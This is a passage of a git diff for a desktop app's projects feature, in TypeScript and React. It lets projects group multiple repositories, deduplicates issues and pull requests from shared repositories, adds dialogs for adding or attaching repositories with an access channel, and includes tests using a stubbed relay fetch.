+    // Root issues (kind 1621) + PRs (kind 1618)
+    if (kinds?.includes(1621) || kinds?.includes(1618)) {
+      return rootEvents.filter((e) => kinds.includes(e.kind));
+    }
+    // Everything else (PR updates, comments, statuses) — empty
+    return [];
+  };
+}
+
+test("fetchProjectsWorkItems deduplicates issues from a shared repository", async () => {
+  const issue = makeIssue(ISSUE_ID);
+  const fetchEvents = makeFetchEvents([issue]);
+
+  const result = await fetchProjectsWorkItems(
+    [projectA, projectB],
+    fetchEvents,
+  );
+
+  assert.equal(
+    result.issues.items.length,
+    1,
+    "duplicate issue from shared repo must collapse to one row",
+  );
+  assert.equal(result.issues.items[0].issue.id, ISSUE_ID);
+});
+
+test("fetchProjectsWorkItems deduplicates pull requests from a shared repository", async () => {
+  const pr1 = makePR(PR_ID, 100);
+  const pr2 = makePR(PR_ID_2, 90);
+  const fetchEvents = makeFetchEvents([pr1, pr2]);
+
+  const result = await fetchProjectsWorkItems(
+    [projectA, projectB],
+    fetchEvents,
+  );
+
+  assert.equal(
+    result.pullRequests.items.length,
+    2,
+    "distinct PRs must survive dedup; only exact-id duplicates collapse",
+  );
+  const ids = result.pullRequests.items.map((item) => item.pullRequest.id);
+  assert.ok(ids.includes(PR_ID), "first PR must be present");
+  assert.ok(ids.includes(PR_ID_2), "second PR must be present");
+});
+
+test("fetchProjectsWorkItems returns a single row for a PR present in both project contexts", async () => {
+  // Same PR id returned twice (once per project's relay query).
+  const pr = makePR(PR_ID, 100);
+  // The stub returns the same event for every root query, simulating
+  // the relay returning the same PR for both projects' repo addresses.
+  let callCount = 0;
+  const fetchEvents = async (filter) => {
+    if (filter.kinds?.includes(1618)) {
+      callCount += 1;
+      return [pr];
+    }
+    return [];
+  };
+
+  const result = await fetchProjectsWorkItems(
+    [projectA, projectB],
+    fetchEvents,
+  );
+
+  // The relay was queried once per unique repo address — but even if it
+  // returned the same id twice across the two project contexts, dedupe fires.
+  assert.equal(
+    result.pullRequests.items.length,
+    1,
+    "same PR id appearing in both project contexts must produce one row",
+  );
+  // Sanity: the stub was actually called (proves we ran the production path).
+  assert.ok(callCount >= 1, "fetchEvents must have been called");
+});
diff --git a/desktop/src/features/projects/projectWorkItems.ts b/desktop/src/features/projects/projectWorkItems.ts
index a2f0047703..c2170e687a 100644
--- a/desktop/src/features/projects/projectWorkItems.ts
+++ b/desktop/src/features/projects/projectWorkItems.ts
@@ -20,10 +20,17 @@ import {
   projectPullRequestEventsToPullRequests,
 } from "./projectPullRequests.mjs";
 
-type ProjectReference = {
+type RepositoryReference = {
   repoAddress: string;
 };
 
+type ProjectReference = {
+  repositories: RepositoryReference[];
+};
+
+type ProjectRepository<TProject extends ProjectReference> =
+  TProject["repositories"][number];
+
 /** Optional event groups that can fail without discarding root work items. */
 export type ProjectWorkItemSection =
   | "comments"
@@ -33,11 +40,19 @@ export type ProjectWorkItemSection =
 /** Aggregate work items plus any optional event groups that failed to load. */
 export type ProjectsWorkItemsResult<TProject extends ProjectReference> = {
   issues: {
-    items: Array<{ project: TProject; issue: ProjectIssue }>;
+    items: Array<{
+      project: TProject;
+      repository: ProjectRepository<TProject>;
+      issue: ProjectIssue;
+    }>;
     failedSections: ProjectWorkItemSection[];
   };
   pullRequests: {
-    items: Array<{ project: TProject; pullRequest: ProjectPullRequest }>;
+    items: Array<{
+      project: TProject;
+      repository: ProjectRepository<TProject>;
+      pullRequest: ProjectPullRequest;
+    }>;
     failedSections: ProjectWorkItemSection[];
   };
 };
@@ -54,31 +69,40 @@ function groupByRepoAddress(events: RelayEvent[]): Map<string, RelayEvent[]> {
   return grouped;
 }
 
+type FetchEventsInput = Parameters<(typeof relayClient)["fetchEvents"]>[0];
+
 /** Loads aggregate issue and pull-request data with bounded relay fan-out. */
 export async function fetchProjectsWorkItems<TProject extends ProjectReference>(
   projects: TProject[],
+  fetchEvents: (
+    filter: FetchEventsInput,
+  ) => Promise<RelayEvent[]> = relayClient.fetchEvents.bind(relayClient),
 ): Promise<ProjectsWorkItemsResult<TProject>> {
   const repoAddresses = [
-    ...new Set(projects.map((project) => project.repoAddress)),
+    ...new Set(
+      projects.flatMap((project) =>
+        project.repositories.map((repository) => repository.repoAddress),
+      ),
+    ),
   ];
   const [rootResult, updateResult, commentResult, statusResult] =
     await Promise.allSettled([
-      relayClient.fetchEvents({
+      fetchEvents({
         kinds: [KIND_GIT_ISSUE, KIND_GIT_PULL_REQUEST],
         "#a": repoAddresses,
         limit: 2_000,
       }),
-      relayClient.fetchEvents({
+      fetchEvents({
         kinds: [KIND_GIT_PR_UPDATE],
         "#a": repoAddresses,
         limit: 2_000,
       }),
-      relayClient.fetchEvents({
+      fetchEvents({
         kinds: [KIND_TEXT_NOTE],
         "#a": repoAddresses,
         limit: 2_000,
       }),
-      relayClient.fetchEvents({
+      fetchEvents({
         kinds: [
           KIND_GIT_STATUS_OPEN,
           KIND_GIT_STATUS_MERGED,
@@ -109,27 +133,64 @@ export async function fetchProjectsWorkItems<TProject extends ProjectReference>(
 
   const pullRequests = projects
     .flatMap((project) =>
-      projectPullRequestEventsToPullRequests(
-        (rootsByRepo.get(project.repoAddress) ?? []).filter(
-          (event) => event.kind === KIND_GIT_PULL_REQUEST,
-        ),
-        updatesByRepo.get(project.repoAddress) ?? [],
-        commentsByRepo.get(project.repoAddress) ?? [],
-        statusesByRepo.get(project.repoAddress) ?? [],
-      ).map((pullRequest) => ({ project, pullRequest })),
+      project.repositories.flatMap((repository) =>
+        projectPullRequestEventsToPullRequests(
+          (rootsByRepo.get(repository.repoAddress) ?? []).filter(
+            (event) => event.kind === KIND_GIT_PULL_REQUEST,
+          ),
+          updatesByRepo.get(repository.repoAddress) ?? [],
+          commentsByRepo.get(repository.repoAddress) ?? [],
+          statusesByRepo.get(repository.repoAddress) ?? [],
+        ).map((pullRequest) => ({ project, pullRequest, repository })),
+      ),
+    )
+    // Deduplicate by (repoAddress, pull-request id): a repository in N projects
+    // must produce exactly one aggregate row per pull request (NIP-MP §Multiple
+    // membership). First occurrence wins; that project's navigation context is
+    // kept for the row.
+    .filter(
+      (() => {
+        const seen = new Set<string>();
+        return (item: {
+          repository: RepositoryReference;
+          pullRequest: ProjectPullRequest;
+        }) => {
+          const key = `${item.repository.repoAddress}:${item.pullRequest.id}`;
+          if (seen.has(key)) return false;
+          seen.add(key);
+          return true;
+        };
+      })(),
     )
     .sort(
       (left, right) => right.pullRequest.updatedAt - left.pullRequest.updatedAt,
     );
   const issues = projects
     .flatMap((project) =>
-      projectIssueEventsToIssues(
-        (rootsByRepo.get(project.repoAddress) ?? []).filter(
-          (event) => event.kind === KIND_GIT_ISSUE,
-        ),
-        statusesByRepo.get(project.repoAddress) ?? [],
-        commentsByRepo.get(project.repoAddress) ?? [],
-      ).map((issue) => ({ project, issue })),
+      project.repositories.flatMap((repository) =>
+        projectIssueEventsToIssues(
+          (rootsByRepo.get(repository.repoAddress) ?? []).filter(
+            (event) => event.kind === KIND_GIT_ISSUE,
+          ),
+          statusesByRepo.get(repository.repoAddress) ?? [],
+          commentsByRepo.get(repository.repoAddress) ?? [],
+        ).map((issue) => ({ issue, project, repository })),
+      ),
+    )
+    // Deduplicate by (repoAddress, issue id).
+    .filter(
+      (() => {
+        const seen = new Set<string>();
+        return (item: {
+          repository: RepositoryReference;
+          issue: ProjectIssue;
+        }) => {
+          const key = `${item.repository.repoAddress}:${item.issue.id}`;
+          if (seen.has(key)) return false;
+          seen.add(key);
+          return true;
+        };
+      })(),
     )
     .sort((left, right) => right.issue.updatedAt - left.issue.updatedAt);
   const sharedFailedSections: ProjectWorkItemSection[] = [];
diff --git a/desktop/src/features/projects/pullRequestMutations.ts b/desktop/src/features/projects/pullRequestMutations.ts
index 4eae6464bf..160c0a3403 100644
--- a/desktop/src/features/projects/pullRequestMutations.ts
+++ b/desktop/src/features/projects/pullRequestMutations.ts
@@ -12,7 +12,7 @@ import {
   KIND_GIT_PULL_REQUEST,
 } from "@/shared/constants/kinds";
 import { normalizePubkey } from "@/shared/lib/pubkey";
-import type { Project, ProjectPullRequest } from "./hooks";
+import type { ProjectPullRequest, Repository as Project } from "./hooks";
 import { nextProjectPullRequestStatusCreatedAt } from "./projectPullRequests.mjs";
 import { useProjectPullRequestWriteInvalidation } from "./pullRequestReviews";
 
diff --git a/desktop/src/features/projects/pullRequestReviews.ts b/desktop/src/features/projects/pullRequestReviews.ts
index aa72c31643..ed6484385a 100644
--- a/desktop/src/features/projects/pullRequestReviews.ts
+++ b/desktop/src/features/projects/pullRequestReviews.ts
@@ -14,7 +14,7 @@ import {
   KIND_GIT_STATUS_OPEN,
   KIND_TEXT_NOTE,
 } from "@/shared/constants/kinds";
-import type { Project } from "./hooks";
+import type { Repository as Project } from "./hooks";
 import {
   nextProjectPullRequestStatusCreatedAt,
   type ProjectPullRequest,
diff --git a/desktop/src/features/projects/repoSyncHooks.ts b/desktop/src/features/projects/repoSyncHooks.ts
index 457ccca175..2a25f5d78f 100644
--- a/desktop/src/features/projects/repoSyncHooks.ts
+++ b/desktop/src/features/projects/repoSyncHooks.ts
@@ -6,7 +6,11 @@ import {
   pullProjectLocalRepository,
   pushProjectLocalRepository,
 } from "@/shared/api/projectGit";
-import type { Project, ProjectPullRequest } from "@/features/projects/hooks";
+import type {
+  ProjectPullRequest,
+  Repository as Project,
+} from "@/features/projects/hooks";
+import { useProjectRepoHost } from "@/features/projects/useProjectRepoHost";
 import { publishProjectPullRequestUpdate } from "./pullRequestMutations";
 
 /** Local-vs-remote git sync status for a project checkout (ahead/behind
@@ -21,9 +25,10 @@ export function useProjectRepoSyncStatusQuery(
 ) {
   const selectedBranch = branchName ?? project?.defaultBranch ?? null;
   const selectedBaseBranch = baseBranch ?? project?.defaultBranch ?? null;
+  const host = useProjectRepoHost(project);
 
   return useQuery({
-    enabled: Boolean(project?.cloneUrls[0]),
+    enabled: Boolean(host.kind === "buzz" && project?.cloneUrls[0]),
     queryKey: [
       "project",
       project?.id ?? "none",
diff --git a/desktop/src/features/projects/repositoryActivityHooks.ts b/desktop/src/features/projects/repositoryActivityHooks.ts
new file mode 100644
index 0000000000..10733116a8
--- /dev/null
+++ b/desktop/src/features/projects/repositoryActivityHooks.ts
@@ -0,0 +1,32 @@
+import { useQuery } from "@tanstack/react-query";
+import * as React from "react";
+
+import {
+  fetchRepositoryActivitySummaries,
+  type Project,
+} from "@/features/projects/hooks";
+
+/** Fetches repository-specific activity for the repositories in these projects. */
+export function useRepositoryActivitySummariesQuery(projects: Project[]) {
+  const repositories = React.useMemo(
+    () => [
+      ...new Map(
+        projects
+          .flatMap((project) => project.repositories)
+          .map((repository) => [repository.repoAddress, repository]),
+      ).values(),
+    ],
+    [projects],
+  );
+  const repoAddresses = React.useMemo(
+    () => repositories.map((repository) => repository.repoAddress).sort(),
+    [repositories],
+  );
+
+  return useQuery({
+    enabled: repoAddresses.length > 0,
+    queryKey: ["projects", "activity-summaries", "repositories", repoAddresses],
+    queryFn: () => fetchRepositoryActivitySummaries(repositories),
+    staleTime: 30_000,
+  });
+}
diff --git a/desktop/src/features/projects/ui/AddProjectRepositoryDialog.tsx b/desktop/src/features/projects/ui/AddProjectRepositoryDialog.tsx
new file mode 100644
index 0000000000..609c38a2cc
--- /dev/null
+++ b/desktop/src/features/projects/ui/AddProjectRepositoryDialog.tsx
@@ -0,0 +1,199 @@
+import * as React from "react";
+
+import type { Project } from "@/features/projects/hooks";
+import type { AddProjectRepositoryInput } from "@/features/projects/useAddProjectRepository";
+import type { Channel } from "@/shared/api/types";
+import { cn } from "@/shared/lib/cn";
+import { Button } from "@/shared/ui/button";
+import { ChooserDialogContent } from "@/shared/ui/chooser-dialog-content";
+import { Dialog } from "@/shared/ui/dialog";
+import { Input } from "@/shared/ui/input";
+
+const FIELD_SHELL_CLASS =
+  "flex min-h-11 items-center rounded-xl border border-input bg-muted/40 px-3 transition-colors hover:border-muted-foreground/40 focus-within:border-muted-foreground/50";
+const FIELD_CONTROL_CLASS =
+  "h-8 border-0 bg-transparent px-0 py-0 text-muted-foreground/55 shadow-none outline-none ring-0 placeholder:text-muted-foreground/55 focus:bg-transparent focus:text-foreground focus-visible:ring-0";
+
+export function AddProjectRepositoryDialog({
+  accessChannelId,
+  channels,
+  isCreating,
+  onAdd,
+  onOpenChange,
+  open,
+  project,
+}: {
+  accessChannelId?: string;
+  channels: Channel[];
+  isCreating: boolean;
+  onAdd: (input: AddProjectRepositoryInput) => Promise<void>;
+  onOpenChange: (open: boolean) => void;
+  open: boolean;
+  project: Project;
+}) {
+  const [name, setName] = React.useState("");
+  const [cloneUrl, setCloneUrl] = React.useState("");
+  const [selectedChannelId, setSelectedChannelId] = React.useState("");
+  const [errorMessage, setErrorMessage] = React.useState<string | null>(null);
+  const nameInputRef = React.useRef<HTMLInputElement>(null);
+
+  React.useEffect(() => {
+    if (!open) return;
+    setName("");
+    setCloneUrl("");
+    setSelectedChannelId(accessChannelId ?? "");
+    setErrorMessage(null);
+    const timerId = globalThis.setTimeout(
+      () => nameInputRef.current?.focus(),
+      50,
+    );
+    return () => globalThis.clearTimeout(timerId);
+  }, [accessChannelId, open]);
+
+  async function handleSubmit(event: React.FormEvent<HTMLFormElement>) {
+    event.preventDefault();
+    if (!name.trim() || !selectedChannelId) return;
+    setErrorMessage(null);
+    try {
+      await onAdd({
+        accessChannelId: selectedChannelId,
+        cloneUrl: cloneUrl.trim() || undefined,
+        name: name.trim(),
+        project,
+      });
+      onOpenChange(false);
+    } catch (error) {
+      setErrorMessage(
+        error instanceof Error ? error.message : "Failed to add repository.",
+      );
+    }
+  }
+
+  return (
+    <Dialog
+      onOpenChange={(nextOpen) => {
+        if (!nextOpen && isCreating) return;
+        onOpenChange(nextOpen);
+      }}
+      open={open}
+    >
+      <ChooserDialogContent
+        className="max-w-lg"
+        contentClassName="pt-3"
+        data-testid="add-project-repository-dialog"
+        description={`Add another repository to ${project.name}.`}
+        footer={
+          <Button
+            data-testid="add-project-repository-submit"
+            disabled={isCreating || !name.trim() || !selectedChannelId}
+            form="add-project-repository-form"
+            type="submit"
+          >
+            {isCreating ? "Adding..." : "Add repository"}
+          </Button>
+        }
+        footerClassName="border-t-0 pt-0"
+        headerClassName="pb-2"
+        title="Add repository"
+      >
+        <form
+          className="space-y-5"
+          id="add-project-repository-form"
+          onSubmit={(event) => void handleSubmit(event)}
+        >
+          <div className="space-y-1.5">
+            <label
+              className="text-sm font-medium text-foreground"
+              htmlFor="add-project-repository-name"
+            >
+              Name
+            </label>
+            <div className={FIELD_SHELL_CLASS}>
+              <Input
+                autoCapitalize="none"
+                autoComplete="off"
+                autoCorrect="off"
+                className={cn(FIELD_CONTROL_CLASS)}
+                data-testid="add-project-repository-name"
+                disabled={isCreating}
+                id="add-project-repository-name"
+                onChange={(event) => {
+                  setName(event.target.value);
+                  setErrorMessage(null);
+                }}
+                placeholder="mobile-app"
+                ref={nameInputRef}
+                spellCheck={false}
+                value={name}
+              />
+            </div>
+          </div>
+          <div className="space-y-1.5">
+            <label
+              className="text-sm font-medium text-foreground"
+              htmlFor="add-project-repository-channel"
+            >
+              Access channel
+            </label>
+            <div className={FIELD_SHELL_CLASS}>
+              <select
+                className={cn(FIELD_CONTROL_CLASS, "w-full")}
+                data-testid="add-project-repository-channel"
+                disabled={isCreating}
+                id="add-project-repository-channel"
+                onChange={(event) => {
+                  setSelectedChannelId(event.target.value);
+                  setErrorMessage(null);
+                }}
+                required
+                value={selectedChannelId}
+              >
+                <option value="">Select a channel</option>
+                {channels.map((channel) => (
+                  <option key={channel.id} value={channel.id}>
+                    {channel.name}
+                  </option>
+                ))}
+              </select>
+            </div>
+            <p className="text-xs text-muted-foreground">
+              Members of this channel can access the repository.
+            </p>
+          </div>
+          <div className="space-y-1.5">
+            <label
+              className="text-sm font-medium text-foreground"
+              htmlFor="add-project-repository-clone-url"
+            >
+              Clone URL
+              <span className="ml-1 text-xs font-normal text-muted-foreground/50">
+                Optional
+              </span>
+            </label>
+            <div className={FIELD_SHELL_CLASS}>
+              <Input
+                autoCapitalize="none"
+                autoComplete="off"
+                autoCorrect="off"
+                className={cn(FIELD_CONTROL_CLASS)}
+                data-testid="add-project-repository-clone-url"
+                disabled={isCreating}
+                id="add-project-repository-clone-url"
+                onChange={(event) => {
+                  setCloneUrl(event.target.value);
+                  setErrorMessage(null);
+                }}
+                placeholder="https://relay.example.com/git/mobile-app.git"
+                spellCheck={false}
+                value={cloneUrl}
+              />
+            </div>
+          </div>
+          {errorMessage ? (
+            <p className="text-sm text-destructive">{errorMessage}</p>
+          ) : null}
+        </form>
+      </ChooserDialogContent>
+    </Dialog>
+  );
+}
diff --git a/desktop/src/features/projects/ui/AttachProjectRepositoryDialog.tsx b/desktop/src/features/projects/ui/AttachProjectRepositoryDialog.tsx
new file mode 100644
index 0000000000..8c4c080c61
--- /dev/null
+++ b/desktop/src/features/projects/ui/AttachProjectRepositoryDialog.tsx
@@ -0,0 +1,92 @@
+import { FolderGit2 } from "lucide-react";
+import * as React from "react";
+
+import type { Project, Repository } from "@/features/projects/hooks";
+import { Button } from "@/shared/ui/button";
+import { ChooserDialogContent } from "@/shared/ui/chooser-dialog-content";
+import { Dialog } from "@/shared/ui/dialog";
+
+export function AttachProjectRepositoryDialog({
+  isAttaching,
+  onAttach,
+  onOpenChange,
+  open,
+  project,
+  repositories,
+}: {
+  isAttaching: boolean;
+  onAttach: (repository: Repository) => Promise<void>;
+  onOpenChange: (open: boolean) => void;
+  open: boolean;
+  project: Project;
+  repositories: Repository[];
+}) {
+  const [errorMessage, setErrorMessage] = React.useState<string | null>(null);
+
+  React.useEffect(() => {
+    if (open) setErrorMessage(null);
+  }, [open]);
+
+  async function handleAttach(repository: Repository) {
+    setErrorMessage(null);
+    try {
+      await onAttach(repository);
+      onOpenChange(false);
+    } catch (error) {
+      setErrorMessage(
+        error instanceof Error ? error.message : "Failed to attach repository.",
+      );
+    }
+  }
+
+  return (
+    <Dialog
+      onOpenChange={(nextOpen) => {
+        if (!nextOpen && isAttaching) return;
+        onOpenChange(nextOpen);
+      }}
+      open={open}
+    >
+      <ChooserDialogContent
+        className="max-w-lg"
+        contentClassName="max-h-96 overflow-y-auto pt-3"
+        data-testid="attach-project-repository-dialog"
+        description={`Choose an existing repository to add to ${project.name}.`}
+        title="Add existing repository"
+      >
+        <div className="space-y-2">
+          {repositories.length === 0 ? (
+            <p className="py-6 text-center text-sm text-muted-foreground">
+              Every available repository is already in this project.
+            </p>
+          ) : (
+            repositories.map((repository) => (
+              <Button
+                className="h-auto w-full justify-start gap-3 px-3 py-2.5 text-left"
+                data-testid={`attach-existing-repository-${repository.dtag}`}
+                disabled={isAttaching}
+                key={repository.repoAddress}
+                onClick={() => void handleAttach(repository)}
+                type="button"
+                variant="outline"
+              >
+                <FolderGit2 className="h-4 w-4 shrink-0 text-muted-foreground" />
+                <span className="min-w-0">
+                  <span className="block truncate font-medium">
+                    {repository.name}
+                  </span>
+                  <span className="block truncate text-xs font-normal text-muted-foreground">
+                    {repository.dtag}
+                  </span>
+                </span>
+              </Button>
+            ))
+          )}
+          {errorMessage ? (
+            <p className="text-sm text-destructive">{errorMessage}</p>
+          ) : null}
+        </div>
+      </ChooserDialogContent>
+    </Dialog>
+  );
+}
diff --git a/desktop/src/features/projects/ui/CreateProjectDialog.tsx b/desktop/src/features/projects/ui/CreateProjectDialog.tsx
index c5e6c2670c..ff214d8084 100644
--- a/desktop/src/features/projects/ui/CreateProjectDialog.tsx
+++ b/desktop/src/features/projects/ui/CreateProjectDialog.tsx
@@ -1,5 +1,6 @@
 import * as React from "react";
 
+import { useChannelsQuery } from "@/features/channels/hooks";
 import type { CreateProjectInput } from "@/features/projects/useCreateProject";
 import { cn } from "@/shared/lib/cn";
 import { Button } from "@/shared/ui/button";
@@ -22,7 +23,7 @@ type CreateProjectDialogProps = {
   open: boolean;
 };
 
-/** Modal for publishing a new project (NIP-34 repo announcement). */
+/** Modal for publishing a project with its initial NIP-34 repository. */
 export function CreateProjectDialog({
   isCreating,
   onCreate,
@@ -33,8 +34,20 @@ export function CreateProjectDialog({
   const [description, setDescription] = React.useState("");
   const [cloneUrl, setCloneUrl] = React.useState("");
   const [webUrl, setWebUrl] = React.useState("");
+  const [accessChannelId, setAccessChannelId] = React.useState("");
   const [errorMessage, setErrorMessage] = React.useState<string | null>(null);
   const nameInputRef = React.useRef<HTMLInputElement>(null);
+  const channelsQuery = useChannelsQuery({ enabled: open });
+  const accessChannels = React.useMemo(
+    () =>
+      (channelsQuery.data ?? []).filter(
+        (channel) =>
+          channel.isMember &&
+          !channel.archivedAt &&
+          channel.channelType !== "dm",
+      ),
+    [channelsQuery.data],
+  );
 
   React.useEffect(() => {
     if (!open) return;
@@ -43,6 +56,7 @@ export function CreateProjectDialog({
     setDescription("");
     setCloneUrl("");
     setWebUrl("");
+    setAccessChannelId(accessChannels[0]?.id ?? "");
     setErrorMessage(null);
 
     // Small delay to let the dialog animation start before focusing.
@@ -50,18 +64,19 @@ export function CreateProjectDialog({
       nameInputRef.current?.focus();
     }, 50);
     return () => globalThis.clearTimeout(timerId);
-  }, [open]);
+  }, [accessChannels, open]);
 
   async function handleSubmit(event: React.FormEvent<HTMLFormElement>) {
     event.preventDefault();
 
     const trimmedName = name.trim();
-    if (!trimmedName) return;
+    if (!trimmedName || !accessChannelId) return;
 
     setErrorMessage(null);
 
     try {
       await onCreate({
+        accessChannelId,
         name: trimmedName,
         description: description.trim() || undefined,
         cloneUrl: cloneUrl.trim() || undefined,
@@ -88,12 +103,14 @@ export function CreateProjectDialog({
         className="max-w-lg"
         contentClassName="pt-3"
         data-testid="create-project-dialog"
-        description="Projects are repositories published to this workspace's relay."
+        description="Projects group one or more repositories published to this workspace's relay."
         footer={
           <div className="flex w-full items-center justify-end gap-3">
             <Button
               data-testid="create-project-submit"
-              disabled={isCreating || name.trim().length === 0}
+              disabled={
+                isCreating || name.trim().length === 0 || !accessChannelId
+              }
               form="create-project-form"
               type="submit"
             >
@@ -148,6 +165,47 @@ export function CreateProjectDialog({
             </div>
           </div>
 
+          <div className="space-y-1.5">
+            <label
+              className="text-sm font-medium text-foreground"
+              htmlFor="create-project-access-channel"
+            >
+              Repository access channel
+            </label>
+            <div
+              className={cn(
+                "flex min-h-11 items-center px-3",
+                CREATE_FIELD_SHELL_CLASS,
+              )}
+            >
+              <select
+                className={cn(
+                  "h-8 w-full px-0 py-0",
+                  CREATE_FIELD_CONTROL_CLASS,
+                )}
+                data-testid="create-project-access-channel"
+                disabled={isCreating}
+                id="create-project-access-channel"
+                onChange={(event) => {
+                  setAccessChannelId(event.target.value);
+                  setErrorMessage(null);
+                }}
+                required
+                value={accessChannelId}
+              >
+                <option value="">Select a channel</option>
+                {accessChannels.map((channel) => (
+                  <option key={channel.id} value={channel.id}>
+                    {channel.name}
+                  </option>
+                ))}
+              </select>
+            </div>
+            <p className="text-xs text-muted-foreground">
+              Members of this channel can access project repositories.
+            </p>
+          </div>
+
           <div className="space-y-1.5">
             <label
               className="text-sm font-medium text-foreground"
@@ -181,7 +239,7 @@ export function CreateProjectDialog({
               className="text-sm font-medium text-foreground"
               htmlFor="create-project-clone-url"
             >
-              Clone URL
+              Initial repository clone URL
               <span className={CREATE_LABEL_OPTIONAL_CLASS}>Optional</span>
             </label>
             <div
@@ -217,7 +275,7 @@ export function CreateProjectDialog({
               className="text-sm font-medium text-foreground"
               htmlFor="create-project-web-url"
             >
-              Web URL
+              Initial repository web URL
               <span className={CREATE_LABEL_OPTIONAL_CLASS}>Optional</span>
             </label>
             <div
diff --git a/desktop/src/features/projects/ui/CreateProjectIssueDialog.tsx b/desktop/src/features/projects/ui/CreateProjectIssueDialog.tsx
index af28693bb4..134dc8cf60 100644
--- a/desktop/src/features/projects/ui/CreateProjectIssueDialog.tsx
+++ b/desktop/src/features/projects/ui/CreateProjectIssueDialog.tsx
@@ -1,8 +1,9 @@
 import * as React from "react";
 import { toast } from "sonner";
 
-import type { Project } from "@/features/projects/hooks";
+import type { Project, Repository } from "@/features/projects/hooks";
 import { useCreateProjectIssueMutation } from "@/features/projects/issueMutations";
+import { selectProjectRepository } from "@/features/projects/projectModels";
 import {
   CreateProjectWorkItemDialog,
   type CreateProjectWorkItemDialogInput,
@@ -16,39 +17,56 @@ export function CreateProjectIssueDialog({
   projects,
 }: {
   initialProjectId?: string;
-  onCreated: (project: Project, issueId: string) => void | Promise<void>;
+  onCreated: (
+    project: Project,
+    repository: Repository,
+    issueId: string,
+  ) => void | Promise<void>;
   onOpenChange: (open: boolean) => void;
   open: boolean;
   projects: Project[];
 }) {
+  const repositoryOptions = React.useMemo(
+    () =>
+      projects.flatMap((project) =>
+        project.repositories.map((repository) => ({ project, repository })),
+      ),
+    [projects],
+  );
   const initialProject =
     projects.find((project) => project.id === initialProjectId) ?? projects[0];
-  const [projectId, setProjectId] = React.useState(initialProject?.id ?? "");
-  const project =
-    projects.find((candidate) => candidate.id === projectId) ?? initialProject;
-  const createMutation = useCreateProjectIssueMutation(project);
+  const [repositoryId, setRepositoryId] = React.useState(
+    selectProjectRepository(initialProject, null)?.id ?? "",
+  );
+  const selection =
+    repositoryOptions.find(
+      (candidate) => candidate.repository.id === repositoryId,
+    ) ?? repositoryOptions[0];
+  const project = selection?.project;
+  const repository = selection?.repository;
+  const createMutation = useCreateProjectIssueMutation(repository);
 
   React.useEffect(() => {
     if (!open) return;
     const nextProject =
       projects.find((candidate) => candidate.id === initialProjectId) ??
       projects[0];
-    setProjectId(nextProject?.id ?? "");
+    setRepositoryId(selectProjectRepository(nextProject, null)?.id ?? "");
   }, [initialProjectId, open, projects]);
 
   async function handleCreate(input: CreateProjectWorkItemDialogInput) {
-    if (!project) throw new Error("Choose a repository.");
+    if (!project || !repository) throw new Error("Choose a repository.");
     const issueId = await createMutation.mutateAsync(input);
     toast.success("Issue created.");
-    await onCreated(project, issueId);
+    await onCreated(project, repository, issueId);
   }
 
   return (
     <CreateProjectWorkItemDialog
       bodyPlaceholder="Add context, expected behavior, or reproduction steps"
       description={
-        project
-          ? `Create an issue in ${project.name}`
+        repository
+          ? `Create an issue in ${repository.name}`
           : "Choose a repository for this issue."
       }
       isCreating={createMutation.isPending}
@@ -56,7 +74,7 @@ export function CreateProjectIssueDialog({
       onCreate={handleCreate}
       onOpenChange={onOpenChange}
       open={open}
-      submitDisabled={!project}
+      submitDisabled={!repository}
       title="Create an issue"
       titlePlaceholder="Describe the issue"
     >
@@ -66,12 +84,17 @@ export function CreateProjectIssueDialog({
           className="h-10 w-full rounded-lg border border-input bg-background px-3 text-sm font-normal outline-hidden focus:ring-1 focus:ring-ring"
           data-testid="create-issue-repository"
           disabled={createMutation.isPending}
-          onChange={(event) => setProjectId(event.target.value)}
-          value={project?.id ?? ""}
+          onChange={(event) => setRepositoryId(event.target.value)}
+          value={repository?.id ?? ""}
         >
-          {projects.map((candidate) => (
-            <option key={candidate.id} value={candidate.id}>
-              {candidate.name}
+          {repositoryOptions.map((candidate) => (
+            <option
+              key={candidate.repository.id}
+              value={candidate.repository.id}
+            >
+              {candidate.project.repositories.length > 1
+                ? `${candidate.project.name} / ${candidate.repository.name}`
+                : candidate.project.name}
             </option>
           ))}
         </select>
diff --git a/desktop/src/features/projects/ui/CreatePullRequestDialog.tsx b/desktop/src/features/projects/ui/CreatePullRequestDialog.tsx
index d64d132aed..11ba74d8d8 100644
--- a/desktop/src/features/projects/ui/CreatePullRequestDialog.tsx
+++ b/desktop/src/features/projects/ui/CreatePullRequestDialog.tsx
@@ -3,9 +3,11 @@ import { toast } from "sonner";
 
 import {
   type Project,
+  type Repository,
   useProjectPullRequestsQuery,
   useRepoStateQuery,
 } from "@/features/projects/hooks";
+import { selectProjectRepository } from "@/features/projects/projectModels";
 import { useCreateProjectPullRequestMutation } from "@/features/projects/pullRequestMutations";
 import { useProjectRepoSyncStatusQuery } from "@/features/projects/repoSyncHooks";
 
@@ -25,61 +27,79 @@ export function CreatePullRequestDialog({
   reposDir,
 }: {
   initialProjectId?: string;
-  onCreated: (project: Project, pullRequestId: string) => void | Promise<void>;
+  onCreated: (
+    project: Project,
+    repository: Repository,
+    pullRequestId: string,
+  ) => void | Promise<void>;
   onOpenChange: (open: boolean) => void;
   open: boolean;
   projects: Project[];
   reposDir?: string | null;
 }) {
+  const repositoryOptions = React.useMemo(
+    () =>
+      projects.flatMap((project) =>
+        project.repositories.map((repository) => ({ project, repository })),
+      ),
+    [projects],
+  );
   const initialProject =
     projects.find((project) => project.id === initialProjectId) ?? projects[0];
-  const [projectId, setProjectId] = React.useState(initialProject?.id ?? "");
-  const project =
-    projects.find((candidate) => candidate.id === projectId) ?? initialProject;
-  const repoStateQuery = useRepoStateQuery(project);
-  const pullRequestsQuery = useProjectPullRequestsQuery(project);
+  const initialRepository = selectProjectRepository(initialProject, null);
+  const [repositoryId, setRepositoryId] = React.useState(
+    initialRepository?.id ?? "",
+  );
+  const selection =
+    repositoryOptions.find(
+      (candidate) => candidate.repository.id === repositoryId,
+    ) ?? repositoryOptions[0];
+  const project = selection?.project;
+  const repository = selection?.repository;
+  const repoStateQuery = useRepoStateQuery(repository);
+  const pullRequestsQuery = useProjectPullRequestsQuery(repository);
   const initialSyncQuery = useProjectRepoSyncStatusQuery(
-    project,
+    repository,
     reposDir,
-    project?.defaultBranch,
+    repository?.defaultBranch,
   );
   const branchOptions = React.useMemo(() => {
     const names = [
-      project?.defaultBranch,
+      repository?.defaultBranch,
       ...(repoStateQuery.data?.branches.map((branch) => branch.name) ?? []),
       initialSyncQuery.data?.localBranch,
     ].filter((name): name is string => Boolean(name));
     return [...new Set(names)];
   }, [
     initialSyncQuery.data?.localBranch,
-    project?.defaultBranch,
